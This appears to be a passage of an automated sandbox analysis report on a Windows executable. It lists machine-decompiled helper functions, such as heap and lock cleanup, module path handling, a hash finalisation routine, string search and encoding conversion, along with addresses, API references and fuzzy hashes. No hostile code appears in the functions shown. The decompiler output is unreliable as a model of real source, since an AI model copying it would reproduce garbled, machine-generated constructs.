0x004054ee
0x004054f4
0x004054f9
0x004054fd
0x004054fe
0x00405503
0x0040550d
0x00405512
0x0040551e
0x00405520
0x00405523
0x00405529
0x0040552f

APIs

CreateThread.KERNEL32 ref: 004054AB
EnterCriticalSection.KERNEL32(004176A0,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054BD
WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054D4
CloseHandle.KERNEL32(00000008,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054E0

Part of subcall function 0040DAD2: HeapFree.KERNEL32(00000000,-00000008,0040D3EB,00000010,00000800,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040DB0B

LeaveCriticalSection.KERNEL32(004176A0,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 00405523

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseCreateEnterFreeHandleHeapLeaveObjectSingleThreadWait
String ID:
API String ID: 3708593966-0
Opcode ID: 2d0ef3e9194763f319c037b8616fe7bccb25afd52532eb252bbef820a5610205
Instruction ID: c80a9bd37122c97109a10f206962e584b77ac8964ddc4e7c45fa9607085a50ae
Opcode Fuzzy Hash: 2d0ef3e9194763f319c037b8616fe7bccb25afd52532eb252bbef820a5610205
Instruction Fuzzy Hash: 1111A336204710BFC2115F59EC05E97BB69EB45762722802AF80197294EB75E9508F6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8E6, Relevance: 7.6, APIs: 5, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D8E6(void* __ebp, void* _a4) {
				int _t19;
				void _t24;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t35;

				_t27 = _a4;
				_t26 =  *(_t27 + 8);
				if(_t26 == 0) {
					E0040D67D(_t27);
					if( *((intOrPtr*)(_t27 + 0x1c)) != 0) {
						_t14 = _t27 + 0x20; // 0x20
						DeleteCriticalSection(_t14);
					}
					return HeapFree( *0x417008, 0, _t27);
				}
				EnterCriticalSection(0x41761c);
				 *((intOrPtr*)( *(_t27 + 8) + 0x14)) =  *((intOrPtr*)( *(_t27 + 8) + 0x14)) - 1;
				_t19 =  *(_t27 + 8);
				if( *((intOrPtr*)(_t19 + 0x14)) <= 0) {
					 *(_t27 + 8) =  *(_t27 + 8) & 0x00000000;
					E0040D8E6(0x41761c, _t27);
					_t24 =  *_t26;
					if(_t24 != 0) {
						 *(_t24 + 4) =  *(_t26 + 4);
					}
					_t25 =  *(_t26 + 4);
					if(_t25 != 0) {
						 *_t25 =  *_t26;
					}
					_t35 =  *0x417618 - _t26; // 0x2350fa8
					if(_t35 == 0) {
						 *0x417618 =  *_t26;
					}
					_t19 = HeapFree( *0x417008, 0, _t26);
				}
				LeaveCriticalSection(0x41761c);
				return _t19;
			}

0x0040d8e7
0x0040d8ec
0x0040d8f1
0x0040d959
0x0040d962
0x0040d964
0x0040d968
0x0040d968
0x00000000
0x0040d977
0x0040d8fa
0x0040d903
0x0040d906
0x0040d90d
0x0040d90f
0x0040d914
0x0040d919
0x0040d91d
0x0040d922
0x0040d922
0x0040d925
0x0040d92a
0x0040d92e
0x0040d92e
0x0040d930
0x0040d936
0x0040d93a
0x0040d93a
0x0040d948
0x0040d948
0x0040d94f
0x00000000

APIs

EnterCriticalSection.KERNEL32(0041761C,00000200,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3), ref: 0040D8FA
LeaveCriticalSection.KERNEL32(0041761C,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D94F

Part of subcall function 0040D8E6: HeapFree.KERNEL32(00000000,?,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004), ref: 0040D948

DeleteCriticalSection.KERNEL32(00000020,00000000,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3), ref: 0040D968
HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200), ref: 0040D977

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 36284dfdec02e05f935528c2070bfad03c6b4f7cfd04ca417c4f9c2788c2e318
Instruction ID: 7b35f574515ae906377effd3f95b136c975bcdd302f3c0dc89a566dd6d791b35
Opcode Fuzzy Hash: 36284dfdec02e05f935528c2070bfad03c6b4f7cfd04ca417c4f9c2788c2e318
Instruction Fuzzy Hash: BB1158B5502601EFC320AF59EC08F97BBB5FF44311F11843AA44AA36A1C734E849CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00409638, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00409638(void* __eflags, intOrPtr _a4) {
				int _t9;
				void* _t18;
				signed int _t19;

				_t18 = E0040E200(0x104, _a4);
				_t19 = GetModuleFileNameW( *0x41700c, _t18, 0x104);
				_t9 = wcscmp(_t18, L"\\\\?\\");
				_pop(_t17);
				if(_t9 == 0) {
					_t17 = _t19 * 2 - 8;
					_t4 = _t18 + 8; // 0x8
					memmove(_t18, _t4, _t19 * 2 - 8);
					_t19 = _t19 - 4;
				}
				E0040E350(_t17, 0x104 - _t19);
				 *((short*)(_t18 + _t19 * 2)) = 0;
				return 0;
			}

0x0040964b
0x00409660
0x00409662
0x00409668
0x0040966b
0x0040966d
0x00409675
0x0040967a
0x00409682
0x00409682
0x00409688
0x0040968f
0x00409696

APIs

Part of subcall function 0040E200: TlsGetValue.KERNEL32(0000001B,00001000,00000000,00000000), ref: 0040E20C
Part of subcall function 0040E200: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040E267

GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 00409654
wcscmp.MSVCRT ref: 00409662
memmove.MSVCRT ref: 0040967A

Strings

\\?\, xrefs: 0040965A, 00409674

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateFileHeapModuleNameValuememmovewcscmp
String ID: \\?\
API String ID: 2309408642-4282027825
Opcode ID: fbad7318e541a16fa2a5137efdadcaf2b9572ff9adb65b6fab0241818ba7fff1
Instruction ID: d9f8f264266041fd0450fbf5fddac35174bfa4872681c7093a6bedb058d4d6d6
Opcode Fuzzy Hash: fbad7318e541a16fa2a5137efdadcaf2b9572ff9adb65b6fab0241818ba7fff1
Instruction Fuzzy Hash: 36F082B31007017BD2106777EC89CAB7F6CEB953B47500A3FF915D25D1EA39982486B8

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1D6, Relevance: 6.3, APIs: 5, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040B1D6(intOrPtr _a4, void* _a8) {
				void _v8;
				intOrPtr _t42;
				void* _t43;
				void* _t46;
				signed int _t49;
				signed int _t50;
				void* _t51;
				void* _t52;
				void* _t54;

				_t52 = _a8;
				_t49 = 0;
				do {
					_t43 = 3;
					asm("sbb eax, eax");
					 *((char*)(_t54 + _t49 + 0x10)) =  *(_t52 + 0x14 +  ~(_t49 & 0x00000003) * 4) >> _t43 - (_t49 & 0x00000003) << 3;
					_t49 = _t49 + 1;
				} while (_t49 < 8);
				_push(1);
				_push(0x4126e8);
				_push(_t52);
				E0040C5D6();
				_t51 = _t52 + 0x14;
				while(1) {
					_t54 = _t54 + 0xc;
					if(( *_t51 & 0x000001f8) == 0x1c0) {
						break;
					}
					_push(1);
					_push(0x4126ec);
					_push(_t52);
					E0040C5D6();
				}
				_push(8);
				_push( &_v8);
				_push(_t52);
				E0040C5D6();
				_t42 = _a4;
				_t50 = 0;
				do {
					_t46 = 3;
					 *((char*)(_t50 + _t42)) =  *(_t52 + (_t50 >> 2) * 4) >> _t46 - (_t50 & 0x00000003) << 3;
					_t50 = _t50 + 1;
				} while (_t50 < 0x14);
				memset(_t52 + 0x1c, 0, 0x40);
				memset(_t52, 0, 0x14);
				memset(_t51, 0, 8);
				memset( &_v8, 0, 8);
				return memset(_t52 + 0x60, 0, 0x40);
			}

0x0040b1db
0x0040b1e2
0x0040b1e4
0x0040b1eb
0x0040b1f4
0x0040b1fe
0x0040b202
0x0040b203
0x0040b208
0x0040b20a
0x0040b20f
0x0040b210
0x0040b215
0x0040b22c
0x0040b22e
0x0040b238
0x00000000
0x00000000
0x0040b21f
0x0040b221
0x0040b226
0x0040b227
0x0040b227
0x0040b23a
0x0040b240
0x0040b241
0x0040b242
0x0040b247
0x0040b24e
0x0040b250
0x0040b257
0x0040b267
0x0040b26a
0x0040b26b
0x0040b277
0x0040b280
0x0040b289
0x0040b296
0x0040b2b0

APIs

memset.MSVCRT ref: 0040B277
memset.MSVCRT ref: 0040B280
memset.MSVCRT ref: 0040B289
memset.MSVCRT ref: 0040B296
memset.MSVCRT ref: 0040B2A2

Part of subcall function 0040C5D6: memcpy.MSVCRT ref: 0040C630
Part of subcall function 0040C5D6: memcpy.MSVCRT ref: 0040C67F

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 7b29d3bf7a70286dc5075c0c827aae832c977d302947bffe320cb461f71f8c18
Instruction ID: d1c0989406727a65e9950a574f083ae989d166c781cac5fdd553c274dd2af307
Opcode Fuzzy Hash: 7b29d3bf7a70286dc5075c0c827aae832c977d302947bffe320cb461f71f8c18
Instruction Fuzzy Hash: D821F1317507082BE124AA29DC86F9F738CDB81708F40063EF201FA1C1CAB9F54546AE

Uniqueness

Uniqueness Score: -1.00%

Function 00405B40, Relevance: 6.2, APIs: 4, Instructions: 167
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405B40() {
				void* _t52;
				signed int _t62;
				void _t63;
				void* _t65;
				signed int _t67;
				void* _t68;
				signed int _t76;
				void* _t78;
				long _t81;
				signed int _t82;
				wchar_t* _t84;
				signed int _t86;
				void* _t88;
				void* _t90;
				void* _t92;
				wchar_t* _t93;
				void* _t95;
				int _t97;
				wchar_t* _t98;
				void* _t100;

				_t93 =  *(_t100 + 0x20);
				if(_t93 == 0) {
					_t82 = 0;
					L5:
					_t52 = E0040E180(_t86, _t93);
					_t95 =  *(_t100 + 0x24);
					 *(_t100 + 0x24) = _t52;
					 *(_t100 + 0x28) = E0040E180(_t86, _t95);
					_t98 = E0040E200(_t82,  *((intOrPtr*)(_t100 + 0x34)));
					_t55 =  *(_t100 + 0x20);
					if( *(_t100 + 0x20) != 0) {
						_t93 = E0040E2D0(_t86, _t55);
					}
					_t56 =  *(_t100 + 0x24);
					if( *(_t100 + 0x24) != 0) {
						_t95 = E0040E2D0(_t86, _t56);
					}
					 *(_t100 + 0x18) = _t98;
					if(_t93 == 0 ||  *_t93 == 0) {
						L38:
						E0040E350(_t86, _t82 - (_t98 -  *(_t100 + 0x18) >> 1));
						 *_t98 = 0;
						return 0;
					} else {
						if(_t95 == 0 ||  *_t95 == 0) {
							_t86 = _t98 - _t93;
							do {
								_t62 =  *_t93 & 0x0000ffff;
								_t93 =  &(_t93[0]);
								 *(_t86 + _t93 - 2) = _t62;
							} while (_t62 != 0);
							_t98 = _t98 + _t82 * 2;
							goto L38;
						} else {
							_t88 = _t95;
							 *(_t100 + 0x14) = _t93;
							_t11 = _t88 + 2; // 0x2
							_t90 = _t11;
							do {
								_t63 =  *_t88;
								_t88 = _t88 + 2;
							} while (_t63 != 0);
							_t86 = _t88 - _t90 >> 1;
							 *(_t100 + 0x20) = _t86;
							if( *(_t100 + 0x24) == 0) {
								 *(_t100 + 0x10) =  *(_t100 + 0x2c);
								L20:
								 *((intOrPtr*)(_t100 + 0x34)) = 0x40530d;
								if(( *(_t100 + 0x28) & 0x00000001) == 0) {
									 *((intOrPtr*)(_t100 + 0x34)) = L004052F5;
								}
								_t65 =  *(_t100 + 0x2c);
								if(_t65 > 1) {
									wcsncpy(_t98, _t93, _t65 - 1);
									_t76 =  *(_t100 + 0x38);
									_t100 = _t100 + 0xc;
									_t98 = _t98 + _t76 * 2 + 0xfffffffe;
									_t93 = _t93 + _t76 * 2 + 0xfffffffe;
								}
								if( *_t93 == 0) {
									L30:
									if( *(_t100 + 0x24) != 0) {
										HeapFree( *0x417008, 0,  *(_t100 + 0x10));
									}
									goto L38;
								} else {
									_t67 =  *(_t100 + 0x20);
									do {
										_t68 =  *((intOrPtr*)(_t100 + 0x40))(_t93, _t95, _t67);
										_t100 = _t100 + 0xc;
										if(_t68 != 0) {
											 *_t98 =  *_t93;
											_t98 =  &(_t98[0]);
											_t67 =  *(_t100 + 0x20);
											_t93 =  &(_t93[0]);
											goto L33;
										}
										_t67 =  *(_t100 + 0x20);
										_t86 =  *(_t100 + 0x30);
										_t93 = _t93 + _t67 * 2;
										if(_t86 == 0xffffffff) {
											goto L33;
										}
										_t86 = _t86 - 1;
										 *(_t100 + 0x30) = _t86;
										if(_t86 > 0) {
											goto L33;
										}
										_t97 = _t82 - (_t93 -  *(_t100 + 0x14) >> 1);
										wcsncpy(_t98, _t93, _t97);
										_t100 = _t100 + 0xc;
										_t98 = _t98 + _t97 * 2;
										goto L30;
										L33:
									} while ( *_t93 != 0);
									goto L30;
								}
							}
							_t78 = HeapAlloc( *0x417008, 0, 2 + _t86 * 2);
							 *(_t100 + 0x10) = _t78;
							_t92 = _t78 - _t95;
							do {
								_t86 =  *_t95 & 0x0000ffff;
								_t95 = _t95 + 2;
								 *(_t92 + _t95 - 2) = _t86;
							} while (_t86 != 0);
							_t95 = _t78;
							goto L20;
						}
					}
				}
				_t84 = _t93;
				_t86 =  &(_t84[0]);
				do {
					_t81 =  *_t84;
					_t84 =  &(_t84[0]);
				} while (_t81 != 0);
				_t82 = _t84 - _t86 >> 1;
				goto L5;
			}

0x00405b47
0x00405b4d
0x00405b65
0x00405b67
0x00405b68
0x00405b6d
0x00405b72
0x00405b7f
0x00405b89
0x00405b8b
0x00405b91
0x00405b99
0x00405b99
0x00405b9b
0x00405ba1
0x00405ba9
0x00405ba9
0x00405bab
0x00405bb1
0x00405d14
0x00405d1f
0x00405d28
0x00405d31
0x00405bc1
0x00405bc3
0x00405cfb
0x00405d00
0x00405d00
0x00405d03
0x00405d06
0x00405d0b
0x00405d10
0x00000000
0x00405bd3
0x00405bd3
0x00405bd5
0x00405bd9
0x00405bd9
0x00405be0
0x00405be0
0x00405be3
0x00405be6
0x00405bed
0x00405bf4
0x00405bf8
0x00405c38
0x00405c3c
0x00405c41
0x00405c49
0x00405c4b
0x00405c4b
0x00405c53
0x00405c5a
0x00405c60
0x00405c65
0x00405c69
0x00405c73
0x00405c76
0x00405c76
0x00405c7d
0x00405cc5
0x00405cca
0x00405cd8
0x00405cd8
0x00000000
0x00405c7f
0x00405c7f
0x00405c83
0x00405c86
0x00405c8a
0x00405c8f
0x00405ce3
0x00405ce7
0x00405cea
0x00405cee
0x00000000
0x00405cee
0x00405c91
0x00405c95
0x00405c99
0x00405c9f
0x00000000
0x00000000
0x00405ca1
0x00405ca2
0x00405ca8
0x00000000
0x00000000
0x00405cb4
0x00405cb9
0x00405cbe
0x00405cc1
0x00000000
0x00405cf1
0x00405cf1
0x00000000
0x00405cf7
0x00405c7d
0x00405c0a
0x00405c12
0x00405c16
0x00405c20
0x00405c20
0x00405c23
0x00405c26
0x00405c2b
0x00405c30
0x00000000
0x00405c30
0x00405bc3
0x00405bb1
0x00405b4f
0x00405b51
0x00405b54
0x00405b54
0x00405b57
0x00405b5a
0x00405b61
0x00000000

APIs

HeapAlloc.KERNEL32(00000000,?), ref: 00405C0A
wcsncpy.MSVCRT ref: 00405C60

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeapwcsncpy
String ID:
API String ID: 2304708654-0
Opcode ID: 4400bf17a7ab25ba1853b7dace69af7ef1599cfcf7aa925f7f2e8bfe761e0971
Instruction ID: cb064e81f22c81d64e764a7bfd7558cc4db0c0b6a5bd9f26a61017110445664c
Opcode Fuzzy Hash: 4400bf17a7ab25ba1853b7dace69af7ef1599cfcf7aa925f7f2e8bfe761e0971
Instruction Fuzzy Hash: 2151DE305087059BDB209F28D844A6BB7F4FF84348F544A2EFC45A72D0E778E915CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00406610, Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406610() {
				WCHAR* _t16;
				signed short _t19;
				WCHAR* _t20;
				signed short* _t25;
				signed short _t27;
				signed int _t31;
				signed int _t32;
				signed short* _t33;
				signed short* _t34;
				signed short* _t36;
				signed short* _t42;
				signed short* _t44;
				signed short* _t45;
				signed int _t47;
				WCHAR* _t48;
				void* _t49;

				_t44 =  *(_t49 + 0x24);
				_t16 =  *_t44 & 0x0000ffff;
				_t45 =  &(_t44[1]);
				 *(_t49 + 0x2c) = _t45;
				if(_t16 == 0) {
					return  *(_t49 + 0x28);
				} else {
					_t31 = CharLowerW(_t16) & 0x0000ffff;
					_t33 =  &(_t45[1]);
					 *(_t49 + 0x1c) = _t31;
					do {
						_t19 =  *_t45;
						_t45 =  &(_t45[1]);
					} while (_t19 != 0);
					_t42 =  *(_t49 + 0x28);
					_t47 = _t45 - _t33 >> 1;
					 *(_t49 + 0x18) = _t47;
					while(1) {
						_t20 =  *_t42 & 0x0000ffff;
						_t42 =  &(_t42[1]);
						if(_t20 == 0) {
							break;
						}
						if(CharLowerW(_t20) != _t31) {
							continue;
						} else {
							_t36 =  *(_t49 + 0x2c);
							_t32 = _t47;
							_t34 = _t36;
							if(_t47 == 0) {
								L13:
								return _t42 - 2;
							} else {
								_t25 = _t42 - _t36;
								 *(_t49 + 0x14) = _t25;
								while(1) {
									_t48 =  *(_t25 + _t34) & 0x0000ffff;
									 *(_t49 + 0x14) =  &(_t34[1]);
									_t27 = CharLowerW( *_t34 & 0x0000ffff);
									if((CharLowerW(_t48) & 0x0000ffff) != (_t27 & 0x0000ffff)) {
										break;
									}
									if(_t48 == 0) {
										goto L13;
									} else {
										_t32 = _t32 - 1;
										if(_t32 == 0) {
											goto L13;
										} else {
											_t34 =  *(_t49 + 0x10);
											_t25 =  *(_t49 + 0x14);
											continue;
										}
									}
									goto L16;
								}
								_t47 =  *(_t49 + 0x18);
								_t31 =  *(_t49 + 0x1c);
								continue;
							}
						}
						goto L16;
					}
					return 0;
				}
				L16:
			}

0x00406615
0x0040661b
0x0040661f
0x00406622
0x00406629
0x004066fe
0x0040662f
0x00406638
0x0040663b
0x0040663e
0x00406642
0x00406642
0x00406646
0x00406649
0x0040664e
0x00406654
0x00406656
0x00406660
0x00406660
0x00406663
0x00406669
0x00000000
0x00000000
0x00406675
0x00000000
0x00406677
0x00406677
0x0040667b
0x0040667d
0x00406681
0x004066da
0x004066e6
0x00406683
0x00406685
0x00406687
0x00406690
0x00406690
0x0040669b
0x0040669f
0x004066b0
0x00000000
0x00000000
0x004066b5
0x00000000
0x004066b7
0x004066b7
0x004066b8
0x00000000
0x004066ba
0x004066c0
0x004066c4
0x00000000
0x004066c4
0x004066b8
0x00000000
0x004066b5
0x004066d0
0x004066d4
0x00000000
0x004066d4
0x00406681
0x00000000
0x00406675
0x004066f0
0x004066f0
0x00000000

APIs

CharLowerW.USER32 ref: 00406636
CharLowerW.USER32(00000000), ref: 00406670
CharLowerW.USER32(?), ref: 0040669F
CharLowerW.USER32(?), ref: 004066A5

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: 66c029c88698f590c27d8ad2e0cedff0409db7e2b7cc0c33a88c903db2356ffd
Instruction ID: 85927fc96f9716e1d1e6d5b1ddc4ac0db90fb70db8c0b3b43891102a4ed5054c
Opcode Fuzzy Hash: 66c029c88698f590c27d8ad2e0cedff0409db7e2b7cc0c33a88c903db2356ffd
Instruction Fuzzy Hash: 3A215775A043198BC710EF59A840477B7E4EB80761F46087AFC85A3380D63AEE199BB9

Uniqueness

Uniqueness Score: -1.00%

Function 00411E80, Relevance: 6.1, APIs: 4, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E80(short* _a4) {
				void* _t6;
				short _t7;
				int _t12;
				short* _t13;
				short* _t17;
				char* _t18;
				short* _t19;
				int _t20;
				void* _t21;

				_t19 = _a4;
				if(_t19 == 0) {
					L6:
					_t6 = malloc(1);
					 *_t6 = 0;
					return _t6;
				} else {
					_t13 = _t19;
					_t2 =  &(_t13[1]); // 0x2
					_t17 = _t2;
					do {
						_t7 =  *_t13;
						_t13 =  &(_t13[1]);
					} while (_t7 != 0);
					_t3 = (_t13 - _t17 >> 1) + 1; // -1
					_t20 = _t3;
					_t12 = WideCharToMultiByte(0xfde9, 0, _t19, _t20, 0, 0, 0, 0);
					if(_t12 == 0) {
						goto L6;
					} else {
						_t4 = _t12 + 1; // 0x1
						_t18 = malloc(_t4);
						_t21 = _t21 + 4;
						if(_t18 == 0) {
							goto L6;
						} else {
							_t18[WideCharToMultiByte(0xfde9, 0, _t19, _t20, _t18, _t12, 0, 0)] = 0;
							return _t18;
						}
					}
				}
			}

0x00411e83
0x00411e8a
0x00411ef4
0x00411ef6
0x00411efe
0x00411f05
0x00411e8c
0x00411e8c
0x00411e8e
0x00411e8e
0x00411e91
0x00411e91
0x00411e94
0x00411e97
0x00411ea8
0x00411ea8
0x00411eba
0x00411ebe
0x00000000
0x00411ec0
0x00411ec0
0x00411ec9
0x00411ecb
0x00411ed0
0x00000000
0x00411ed2
0x00411ee7
0x00411ef1
0x00411ef1
0x00411ed0
0x00411ebe

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0040D058,00000000), ref: 00411EB4
malloc.MSVCRT ref: 00411EC4
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000), ref: 00411EE1
malloc.MSVCRT ref: 00411EF6

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: f99b9e9cc375a0f51ee550c492f080850f9660593670d0a959cc873830a669a1
Instruction ID: da1f4c5307a9808d3c7f8614f95932c7effa64efca2e052dfed00f08d58b5d3d
Opcode Fuzzy Hash: f99b9e9cc375a0f51ee550c492f080850f9660593670d0a959cc873830a669a1
Instruction Fuzzy Hash: FE012E3734030227E32066A6AC02FE77B49CB85B95F19407AFF005E2C1CAA3A8008A79

Uniqueness

Uniqueness Score: -1.00%

Function 00411F20, Relevance: 6.1, APIs: 4, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411F20(short* _a4) {
				void* _t6;
				short _t7;
				int _t12;
				short* _t13;
				short* _t17;
				char* _t18;
				short* _t19;
				int _t20;
				void* _t21;

				_t19 = _a4;
				if(_t19 == 0) {
					L6:
					_t6 = malloc(1);
					 *_t6 = 0;
					return _t6;
				} else {
					_t13 = _t19;
					_t17 =  &(_t13[1]);
					do {
						_t7 =  *_t13;
						_t13 =  &(_t13[1]);
					} while (_t7 != 0);
					_t20 = (_t13 - _t17 >> 1) + 1;
					_t12 = WideCharToMultiByte(0, 0, _t19, _t20, 0, 0, 0, 0);
					if(_t12 == 0) {
						goto L6;
					} else {
						_t4 = _t12 + 1; // 0x1
						_t18 = malloc(_t4);
						_t21 = _t21 + 4;
						if(_t18 == 0) {
							goto L6;
						} else {
							_t18[WideCharToMultiByte(0, 0, _t19, _t20, _t18, _t12, 0, 0)] = 0;
							return _t18;
						}
					}
				}
			}

0x00411f23
0x00411f2a
0x00411f8e
0x00411f90
0x00411f98
0x00411f9f
0x00411f2c
0x00411f2c
0x00411f2e
0x00411f31
0x00411f31
0x00411f34
0x00411f37
0x00411f48
0x00411f57
0x00411f5b
0x00000000
0x00411f5d
0x00411f5d
0x00411f66
0x00411f68
0x00411f6d
0x00000000
0x00411f6f
0x00411f81
0x00411f8b
0x00411f8b
0x00411f6d
0x00411f5b

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00411F51
malloc.MSVCRT ref: 00411F61
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00411F7B
malloc.MSVCRT ref: 00411F90

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 5325b0ad4490700c2010cf27b2c704082c058671d9b3d0b05cc6651335db68c7
Instruction ID: 2143df0fa8f9e7073c9e362d0ea50869445b156f554053f4d5fb65981249776a
Opcode Fuzzy Hash: 5325b0ad4490700c2010cf27b2c704082c058671d9b3d0b05cc6651335db68c7
Instruction Fuzzy Hash: AE01643738030037E3204A95AC02FA77B4DCBC5B95F19407AFB005E2C6CBB3A8018AB8

Uniqueness

